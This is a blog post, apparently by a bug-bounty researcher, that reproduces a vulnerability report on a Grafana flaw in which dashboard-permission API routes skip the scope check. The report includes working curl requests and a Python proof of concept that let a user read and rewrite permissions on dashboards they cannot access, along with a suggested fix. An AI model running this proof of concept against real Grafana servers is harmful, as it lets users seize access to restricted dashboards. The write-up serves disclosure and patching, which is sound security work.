CVE-2026-21721(grafana / cvss 8.1)

2026. 1. 31. 16:52·0-day

보고서를 쓴지 얼마 안되었을때 쓴 보고서라서 그런지 지금 보기에는 고칠점이 많지만 다행히 grafana 측에서 정보를 더 요청하지 않고 바로 accept 해 주었다.

1. Summary


The dashboard permissions API does not verify the target dashboard scope and only checks the dashboards.permissions:* action. As a result, a user who has permission management rights on one dashboard can read and modify permissions on other dashboards. This is an organization‑internal privilege escalation.

2. Description


Grafana allows per-dashboard permissions (view/edit/admin). Normally, a user who is an admin of a single dashboard must not be able to access or modify permissions of other dashboards. However, the current authorization check only verifies the action and ignores the dashboard scope, enabling unauthorized permission reads and changes on other dashboards.

2.1 Expected flow

For the following API calls:

  • GET /api/dashboards/uid/<dashboard_uid>/permissions
  • POST /api/dashboards/uid/<dashboard_uid>/permissions

Grafana should verify that the caller has dashboards.permissions:read/write for the target dashboard scope. Users with permissions only on a different dashboard should receive 403/404.

2.2 Root Cause

The routes authorize without a dashboard scope:

  • pkg/api/api.go
  • authorize(ac.EvalPermission(dashboards.ActionDashboardsPermissionsRead)) authorize(ac.EvalPermission(dashboards.ActionDashboardsPermissionsWrite))

In pkg/services/accesscontrol/evaluator.go, EvalPermission returns true when no scopes are provided, so any user with the action on any dashboard passes authorization for all dashboards.

3. PoC


Environment:

  • Grafana OSS local instance
  • Two dashboards: dashboard1, dashboard2
  • User testuser has Admin permissions on dashboard1 only
  • dashboard2 has no permissions for testuser
  1. Get dashboard2 UID (admin):
curl -s -u admin:admin \\
"<http://localhost:3000/api/search?query=dashboard2>"

Example response:

{"uid":"adtdknq", ...}

  1. Get testuser ID (admin):
curl -s -u admin:admin \\
"<http://localhost:3000/api/users/lookup?loginOrEmail=testuser>"

Example response:

{"id":2, ...}

  1. As testuser, read permissions of dashboard2 (should be denied, but succeeds):
curl -s -u testuser:testuser \\
"<http://localhost:3000/api/dashboards/uid/adtdknq/permissions>"

Actual response (200):

[
{
"dashboardId":2,
"userLogin":"testuser",
"permission":4,
"permissionName":"Admin",
"uid":"adtdknq",
"title":"dashboard2"
}
]
  1. As testuser, modify permissions of dashboard2 (privilege escalation):
curl -s -X POST -u testuser:testuser \\
-H "Content-Type: application/json" \\
"<http://localhost:3000/api/dashboards/uid/adtdknq/permissions>" \\
-d '{
"items": [
{ "userId": 2, "permission": 4 }
]
}'

Response:

{"message":"Dashboard permissions updated"}

Result: testuser becomes Admin on dashboard2 without prior access.

python code

import requests
from requests.auth import HTTPBasicAuth
BASE = "<http://localhost:3000>"
USER1_TOKEN = "glsa_*******************_6354451d"
DASHBOARD2_UID = "adwznqs"
TESTUSER_ID = 2

auth = HTTPBasicAuth("testuser", "testuser")

# 1) testuser check
r = requests.get(f"{BASE}/api/user", auth=auth)
print("api/user:", r.status_code, r.text)

# 2) Retrieve dashboard2 permissions
r = requests.get(f"{BASE}/api/dashboards/uid/{DASHBOARD2_UID}/permissions", auth=auth)
print("permissions GET:", r.status_code, r.text)

# 3) Attempt to change dashboard2 permissions
payload = {"items": [{"userId": TESTUSER_ID, "permission": 4}]}  # 1=View, 2=Edit, 4=Admin
r = requests.post(
    f"{BASE}/api/dashboards/uid/{DASHBOARD2_UID}/permissions",
    auth=auth,
    json=payload,
)
print("permissions POST:", r.status_code, r.text)

4. Impact


  • A user with permissions admin rights on one dashboard can read/modify permissions of other dashboards
  • Users can grant themselves access to restricted dashboards
  • Unauthorized access to sensitive dashboards and internal privilege escalation

5. Patch Recommendation


Bind authorization checks to the target dashboard scope.

Suggested fix:

  • In pkg/api/api.go, include scope:
    • authorize(ac.EvalPermission(dashboards.ActionDashboardsPermissionsRead, dashUIDScope))
    • authorize(ac.EvalPermission(dashboards.ActionDashboardsPermissionsWrite, dashUIDScope))

Apply the same scoped checks for both /uid/:uid and /id/:dashboardId routes.

'0-day' 카테고리의 다른 글

CVE-2026-27966 (langflow / cvss 9.8)  (0) 2026.02.28
CVE-2026-28227(discourse / cvss 5.1)  (0) 2026.02.28
CVE-2026-22922(airflow / cvss 6.5)  (1) 2026.02.25
CVE-2025-66514(Nextcloud Mail / cvss 5.4)  (0) 2025.12.27
CVE-2025-66558(nextcloud twofactor_webauthn / cvss 3.1)  (0) 2025.12.27
'0-day' 카테고리의 다른 글
  • CVE-2026-28227(discourse / cvss 5.1)
  • CVE-2026-22922(airflow / cvss 6.5)
  • CVE-2025-66514(Nextcloud Mail / cvss 5.4)
  • CVE-2025-66558(nextcloud twofactor_webauthn / cvss 3.1)
se1en
se1en
se1en의 보안 블로그
  • se1en
    se1en
    se1en
  • 전체
    오늘
    어제
    • 분류 전체보기 (13)
      • CTF (1)
      • 0-day (8)
      • About Me (1)
      • ai for security (3)
  • 블로그 메뉴

    • 홈
    • 태그
    • 방명록
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    Bugbounty
    버그바운티
    웹해킹
    CTF
    0-day
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.6
se1en
CVE-2026-21721(grafana / cvss 8.1)
상단으로

티스토리툴바